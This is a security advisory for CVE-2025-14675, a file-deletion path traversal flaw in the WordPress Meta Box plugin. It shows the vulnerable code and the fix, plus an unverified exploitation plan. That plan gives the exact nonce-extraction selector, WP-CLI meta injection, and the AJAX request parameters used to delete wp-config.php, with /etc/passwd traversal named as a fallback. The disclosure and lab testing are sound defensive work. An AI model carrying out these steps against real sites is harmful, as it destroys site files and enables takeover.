CVE-2025-14675

Meta Box <= 5.11.1 - Authenticated (Contributor+) Arbitrary File Deletion

highImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
5.11.2
Patched in
1d
Time to patch

Description

The Meta Box plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the 'ajax_delete_file' function in all versions up to, and including, 5.11.1. This makes it possible for authenticated attackers, with Contributor-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=5.11.1
PublishedMarch 6, 2026
Last updatedMarch 7, 2026
Affected pluginmeta-box

What Changed in the Fix

Changes introduced in v5.11.2

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2025-14675 (Meta Box File Deletion) ## 1. Vulnerability Summary The **Meta Box** plugin (<= 5.11.1) is vulnerable to **Authenticated Arbitrary File Deletion** via path traversal. The vulnerability resides in the `ajax_delete_file` function within `inc/fields/file.…

Show full research plan

Exploitation Research Plan - CVE-2025-14675 (Meta Box File Deletion)

1. Vulnerability Summary

The Meta Box plugin (<= 5.11.1) is vulnerable to Authenticated Arbitrary File Deletion via path traversal. The vulnerability resides in the ajax_delete_file function within inc/fields/file.php. This function fails to properly validate the attachment_id parameter when it is not a numeric ID. It performs a simple str_replace on the site's home URL and passes the resulting path directly to unlink(), allowing authenticated users with Contributor-level access to delete any file the web server has permission to remove, including wp-config.php.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: rwmb_delete_file (registered in inc/fields/file.php)
  • Vulnerable Parameter: attachment_id (sent via POST)
  • Required Authentication: Contributor or higher.
  • Preconditions:
    1. A Meta Box with a file type field must be registered for a post type the attacker can edit.
    2. The attacker must be able to populate the metadata of that field with the target file path (or a traversal string).

3. Code Flow

  1. Entry Point: The AJAX action wp_ajax_rwmb_delete_file calls RWMB_File_Field::ajax_delete_file().
  2. Nonce Verification: check_ajax_referer( "rwmb-delete-file_{$field_id}" ) verifies a nonce tied to the specific field_id.
  3. Data Retrieval: The function retrieves the field settings and the current meta value for the post using rwmb_get_field_settings and self::raw_meta.
  4. Validation Check: self::in_array_r( $attachment, $field_value ) checks if the requested $attachment (the path to delete) exists in the field's metadata. This is the only protection.
  5. Vulnerable Sink:
    // inc/fields/file.php
    } else {
        $path   = str_replace( home_url( '/' ), trailingslashit( ABSPATH ), $attachment );
        $result = unlink( $path ); 
    }
    
    If $attachment is a URL starting with home_url('/'), it is transformed into a local path. If $attachment is http://site.com/wp-config.php, it becomes /var/www/html/wp-config.php.

4. Nonce Acquisition Strategy

The nonce is generated specifically for each field ID. It is rendered in the HTML of the post edit screen.

  1. Identify Field: We will register a field with ID vulnerable_field.
  2. Create Content: Create a post and ensure the Meta Box is active.
  3. Navigate: Use browser_navigate to the edit page of that post (e.g., /wp-admin/post.php?post=ID&action=edit).
  4. Extract: The nonce is stored in the data-delete_nonce attribute of the ul element that manages the files for that field.
    • JS Selector: document.querySelector('ul.rwmb-files[data-field_id="vulnerable_field"]')?.getAttribute('data-delete_nonce')

5. Exploitation Strategy

Step 1: Setup Meta Box

Register a file field using a temporary plugin or functions.php.

add_filter( 'rwmb_meta_boxes', function( $meta_boxes ) {
    $meta_boxes[] = [
        'title'  => 'Test Meta Box',
        'fields' => [
            [
                'id'   => 'vulnerable_field',
                'name' => 'File',
                'type' => 'file',
            ],
        ],
    ];
    return $meta_boxes;
} );

Step 2: Inject Malicious Meta

To pass the in_array_r check, the target path must be in the database. As the "Contributor" (or during setup), we will use WP-CLI to set this meta directly, simulating a successful save of a malicious value.

  • Target: wp-config.php
  • Value: http://localhost:8080/wp-config.php (assuming standard port)

Step 3: Trigger Deletion

Send a POST request to admin-ajax.php.

Request Details:

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    • action: rwmb_delete_file
    • field_id: vulnerable_field
    • field_name: vulnerable_field
    • attachment_id: http://localhost:8080/wp-config.php
    • object_id: [POST_ID]
    • object_type: post
    • _ajax_nonce: [EXTRACTED_NONCE]

6. Test Data Setup

  1. User: Create a user attacker with the contributor role.
  2. Plugin: Ensure meta-box version 5.11.1 is installed.
  3. Registration Snippet: Create /var/www/html/wp-content/mu-plugins/register_vuln_field.php with the snippet from Step 1.
  4. Post: Create a post as the attacker.
    wp post create --post_type=post --post_author=$(wp user get attacker --field=ID) --post_title="Vuln Post" --post_status=publish
    
  5. Metadata Injection: Set the meta for the created post.
    wp post meta set [POST_ID] vulnerable_field "http://localhost:8080/wp-config.php"
    

7. Expected Results

  • The AJAX response should return {"success":true}.
  • The wp-config.php file should be deleted from the filesystem.

8. Verification Steps

  1. Check File: Use a shell command to verify the file is gone:
    ls /var/www/html/wp-config.php
    
    Expected: "No such file or directory".
  2. Check Site State: Attempting to load the site via http_request should now redirect to the WordPress installation screen (wp-admin/setup-config.php), confirming wp-config.php is missing.

9. Alternative Approaches

If str_replace requires exact matching of the home_url, and the stored meta value doesn't exactly match the attachment_id sent in the request (e.g., due to trailing slashes), the exploit will fail.

  • Traversal: If we can't delete wp-config.php directly, try traversing out of the web root if the home URL setup allows: http://localhost:8080/../../../../etc/passwd.
  • Field Name Type: If field_name contains [ (array syntax), the logic in ajax_delete_file changes to child type. Test with field_name=vulnerable_field[0] if top-level fails.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Meta Box plugin for WordPress is vulnerable to arbitrary file deletion via path traversal because the 'ajax_delete_file' function fails to validate that a file path is within an allowed directory before calling unlink(). Authenticated attackers with Contributor-level access or higher can exploit this to delete sensitive files like wp-config.php, potentially leading to remote code execution.

Vulnerable Code

// inc/fields/file.php

	public static function ajax_delete_file() {
		$request  = rwmb_request();
		$field_id = (string) $request->filter_post( 'field_id' );
		$type     = str_contains( $request->filter_post( 'field_name' ), '[' ) ? 'child' : 'top';
		check_ajax_referer( "rwmb-delete-file_{$field_id}" );

		if ( 'child' === $type ) {
			$field_group = explode( '[', $request->filter_post( 'field_name' ) );
			$field_id    = $field_group[0]; // This is top parent field_id.
		}
		// Make sure the file to delete is in the custom field.
		$attachment  = $request->post( 'attachment_id' );
		$object_id   = $request->filter_post( 'object_id' );
		$object_type = (string) $request->filter_post( 'object_type' );
		$field       = rwmb_get_field_settings( $field_id, [ 'object_type' => $object_type ], $object_id );
		$field_value = self::raw_meta( $object_id, $field );

		if ( ! self::in_array_r( $attachment, $field_value ) ) {
			wp_send_json_error( __( 'Error: Invalid file', 'meta-box' ) );
		}
		// Delete the file.
		if ( is_numeric( $attachment ) ) {
			$result = wp_delete_attachment( $attachment );
		} else {
			$path   = str_replace( home_url( '/' ), trailingslashit( ABSPATH ), $attachment );
			$result = unlink( $path ); // phpcs:ignore WordPress.WP.AlternativeFunctions.unlink_unlink
		}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/meta-box/5.11.1/inc/fields/file.php /home/deploy/wp-safety.org/data/plugin-versions/meta-box/5.11.2/inc/fields/file.php
--- /home/deploy/wp-safety.org/data/plugin-versions/meta-box/5.11.1/inc/fields/file.php	2025-11-07 03:15:16.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/meta-box/5.11.2/inc/fields/file.php	2026-03-05 07:31:14.000000000 +0000
@@ -51,8 +51,17 @@
 		if ( is_numeric( $attachment ) ) {
 			$result = wp_delete_attachment( $attachment );
 		} else {
-			$path   = str_replace( home_url( '/' ), trailingslashit( ABSPATH ), $attachment );
-			$result = unlink( $path ); // phpcs:ignore WordPress.WP.AlternativeFunctions.unlink_unlink
+			$path = str_replace( home_url( '/' ), trailingslashit( ABSPATH ), $attachment );
+
+			// Security: validate resolved path is within $field['upload_dir'] directory.
+			$real_path    = realpath( $path );
+			$real_path    = wp_normalize_path( $real_path );
+			$allowed_base = ! empty( $field['upload_dir'] ) ? trailingslashit( wp_normalize_path( $field['upload_dir'] ) ) : '';
+			if ( ! $real_path || ! $allowed_base || ! str_starts_with( $real_path, $allowed_base ) ) {
+				wp_send_json_error( __( 'Error: The file is outside the allowed upload directory', 'meta-box' ) );
+			}
+
+			$result = unlink( $real_path ); // phpcs:ignore WordPress.WP.AlternativeFunctions.unlink_unlink
 		}

Exploit Outline

1. Gain Contributor-level access to the WordPress site. 2. Navigate to a post edit page where a Meta Box 'file' field is registered and active. 3. Inject the target file's site-relative URL (e.g., 'http://target-site.com/wp-config.php') into the field's metadata. This can be done via the standard post editor if the field allows custom input or via other meta-save mechanisms accessible to the user. 4. Extract the security nonce for the specific field ID, which is found in the 'data-delete_nonce' attribute of the file list element (ul.rwmb-files) in the post editor UI. 5. Send an AJAX request to /wp-admin/admin-ajax.php with the 'action' set to 'rwmb_delete_file', 'attachment_id' set to the target URL, the correct 'field_id', and the captured nonce. 6. The plugin's vulnerable logic will perform a str_replace on the URL to turn it into an absolute file path and pass it directly to unlink(), deleting the file.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.